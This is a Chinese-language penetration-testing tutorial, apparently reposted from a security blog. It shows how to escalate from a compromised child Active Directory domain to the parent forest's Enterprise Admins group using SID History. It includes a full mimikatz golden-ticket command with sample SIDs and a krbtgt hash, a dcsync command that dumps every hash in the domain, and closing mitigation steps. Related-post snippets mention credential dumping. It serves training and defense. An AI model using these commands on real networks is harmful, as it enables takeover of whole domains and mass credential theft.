<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    【技術分享】子域到父域的橫向移動(Sid History)

    VSole2021-07-08 17:01:02

    00 前言

    本文接上篇文章從父域到子域的橫向移動,探究子域如何橫向移動到父域的Enterprise Admin組,并給出防御方法。

    01 Enterprise Admins組

    在父子域中,最重要的莫過于Enterprise Admins組了,并且該組只存在于林根域中,其成員有權管理林內的所有域,這是因為在添加子域后,Enterprise Admins組會自動添加到林中每個域中的Administrators組成員中。但是該組在其他域樹中是不存在的,所以在子域中是看不到有Enterprise Admins組。本文也是基于Enterprise Admins組來提權。

    02 跨域訪問流程

    用戶在登錄某臺客戶機的時候,系統必須驗證用戶的身份,除了賬號密碼之外,還會為用戶建立一個access token(訪問令牌),其中包含用戶賬戶的SID、用戶所隸屬的所有組的SID等數據。當用戶取得access token后,如果他要訪問計算機內的資源時,便會出示access token,而系統會根據access token內的SID數據來決定用戶擁有何種權限。

    同理當用戶連接網絡上其他計算機時,這臺計算機也會為該用戶建立一個access token,當用戶需要訪問資源的時候,便會出示access token,這臺計算機便會根據出示的access token的SID數據,來決定用戶擁有何種的訪問權限

    03 SID History

    根據微軟的解釋,SID History 是一個支持遷移方案的屬性,每個用戶帳戶都有一個關聯的安全標識符 (SID),用于跟蹤安全主體和帳戶在連接到資源時的訪問權限。SID 歷史記錄允許將另一個帳戶的訪問有效地克隆到另一個帳戶,并且對于確保用戶在從一個域移動(遷移)到另一個域時保留訪問權限非常有用。

    而一個賬戶可以在SID-History Active Directory 屬性中保存額外的 SID ,從而允許域之間進行可相互操作的帳戶遷移(例如,SID-History 中的所有值都包含在訪問令牌中)。

    為了達到SID History攻擊的目的,我們的將使用域管理員權限,將獲取到的有權限的SID值插入到SID歷史記錄中,以實現模擬任意用戶/組(例如Enterprise Admins)的權限,達到跨域提權目的。 

    04 枚舉域信任

    1.用全局編錄的方式進行域信任查看

    Get-DomainTrust -SearchBase "GC://$($ENV:USERDNSDOMAIN)"

    2.使用powershell展現一個域信任關系

    Get-ADTrust -Filter *

    3.使用windows自帶命令查看

    nltest /domain_trusts

    從上面的命令可以看出來,父域和子域是存在雙向的信任關系

    04 環境準備

    本地環境使用到的是windows server2016

    主域:dpl.com

    子域:ziyu.dpl.com

    假設已經拿到子域域控的權限,接下來我要拿根域的權限

    05 從子域到父域的EA組提權利用

    Sid History攻擊需要

    1.域名稱(GET-ADDomain)

    2.域的SID值(GET-ADDomainSID)

    3.域的KRBTGT賬戶的hash(mimitakz)

    4.偽造用戶名(administrator)

    5.根域EA組的ObjectID(Convert-NameToSid)

    利用powerview+mimikatz完成攻擊利用

    Ⅰ使用Sid History完成對父域的提權

    ①獲取子域名稱

    Get-Domain或ipconfig /all

    ②獲取子域的SID值

    Get-DomainSID

    ③獲取子域KRBTGT的hash

    sekurlsa::krbtgt

    ④獲取根域EA組的ObjectID

    Convert-NameToSid dpl\krbtgt

    Ⅱ、SID介紹

    SID用于唯一標識安全主體或安全組,以S-1-5-21-1315137663-3706837544-1429009142-502為例

    表示字符串為SID(S)

    修訂級別(1)

    標識符頒發機構 (5,NT Authority)

    域標識符(21-1315137663-3706837544-1429009142)

    相對標識符RID(krbtgt 502)

    常見的SID:Domain Admins(S-1-5-domain-512)、Domain Users(S-1-5-domain-513)、Administrator(S-1-5-domain-500)、Enterprise Admins(S-1-5-root domain-519)、Domain Admins(S-1-5-domain-515)

    而完成Sid History攻擊需要修改其RID,獲取到krbtgt的SID后,將502修改為519,也就是Enterprise Admins組

    格式:mimikatz kerberos::golden /user:administrator /domain: /sid: /krbtgt: /sids:-519 /ptt

    /user – 需要模擬的用戶名,本例中為administrator

    /domain – 完全限定域名(FQDN)

    /sid – 域的 SID

    /krbtgt – krbtgt的ntlm密碼hash

    /sids – AD 林中帳戶/組的 SID,能獲取高權限的ticket,本例中為Enterprise Admins組

    /ptt – 將偽造的票據注入內存以供使用

    Ⅲ、使用mimikatz完成攻擊

    訪問根域是拒絕

    命令:mimikatz # kerberos::golden /user:administrator /domain:ziyu.dpl.com /sid:S-1-5-21-2455727910-2290990957-1796281965 /krbtgt:a6dfcc6757f07f2338871c1437661771 /sids:S-1-5-21-551729718-3557281277-2606199327-519 /ptt

    用主機名訪問,不然會出錯,訪問父域成功

    使用mimikatz導出根域的hash

    lsadump::dcsync /domain:dpl.com /all /csv

    06 防御方法

    1.合法帳戶遷移完成后清除 SID-History 屬性

    a.標識帳戶的 SIDHistory 屬性中的 SID。

    Get-ADUser -Identity -Properties SidHistory | Select-Object -ExpandProperty SIDHistory

    b.使用前面標識的 SID 刪除 SIDHistory 屬性

    Set-ADUser -Identity -Remove @{SIDHistory='S-1-5-21-...'}

    2.使用 netdom 工具(在域控制器上)在林信任上禁用 SIDHistory

    netdom trust /domain: /EnableSIDHistory:no

    3.使用 netdom 工具(在域控制器上)將 SID 過濾器隔離應用于外部信任

    netdom trust /domain: /quarantine:yes

    domainhistory
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    本文接上篇文章探究子域如何橫向移動到父域的Enterprise Admin組,并給出防御方法。
    systeminfo | findstr /B /C:"OS Name" /C:"OS Version". systeminfo | findstr /B /C:"OS 名稱" /C:"OS 版本" #中文操作系統。schtasks /query /fo LIST /v #query顯示所有計劃任務。
    利用 CVE-2021-42278 和 CVE-2021-42287 從標準域用戶模擬 DA,該項目修改自?0x01 用法SAM THE ADMIN CVE-2021-42278 + CVE-2021-42287 chain. positional arguments: [domain/]username[:password] Account used to authenticate to DC.CreateChild. -dump Dump Hashs via secretsdump -use-ldap Use LDAP instead of LDAPS. authentication: -hashes LMHASH:NTHASH NTLM hashes, format is LMHASH:NTHASH??
    最近想總結一下,在紅隊滲透拿到一個目標名或者刷src時候,怎么快速信息收集和批量檢測來打到一個點,往往在實際項目中就是拼手速。
    紅隊信息收集到打點
    2022-07-17 22:45:13
    還有的就是除了這些查到的主站域名,往往企業會有app、公眾號、小程序這些資產,也要對這些資產進行收集,然后你又拿到了一批域名。go版本2.敏感信息收集利用搜索引擎、github等托管平臺配合一些dorks就可以搜到很多信息。
    很早就想專門寫一篇關于內網的文章,一直沒有騰出空來,萬萬沒想到,寫下這篇文章的時候,竟然是我來某實驗室實習的時間段:)
    免責聲明 本工具僅面向 合法授權 的企業安全建設行為與個人學習行為,如您需要測試本工具的可用性,請自行搭建靶機環境。 在使用本工具進行檢測時,您應確保該行為符合當地的法律法規,并且已經取得了足夠的授權。請勿對非授權目標進行掃描。 禁止對本軟件實施逆向工程、反編譯、試圖破譯源代碼,植入后門傳播惡意軟件等行為。 如果發現上述禁止行為,我們將保留追究您法律責任的權利。 如您在使用本工具的過程中存在任何
    域名準備選擇哪家的云都沒問題,這里我選擇的TX云,因為之前注冊過了,自己拿來做個流量分析不成問題。域名添加解析記錄需要準備自己的vps作為DNS隧道的服務端,且需要添加ns記錄iodined關閉53端口關閉開機自啟systemctl?“D”的數量隨級別增加。
    所以可以通過它傳回lsass.dmp本地提取hashprocdump64.exe -accepteula -ma lsass.exe lsass.dmp 執行該指令,獲取到lsass.dmp
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类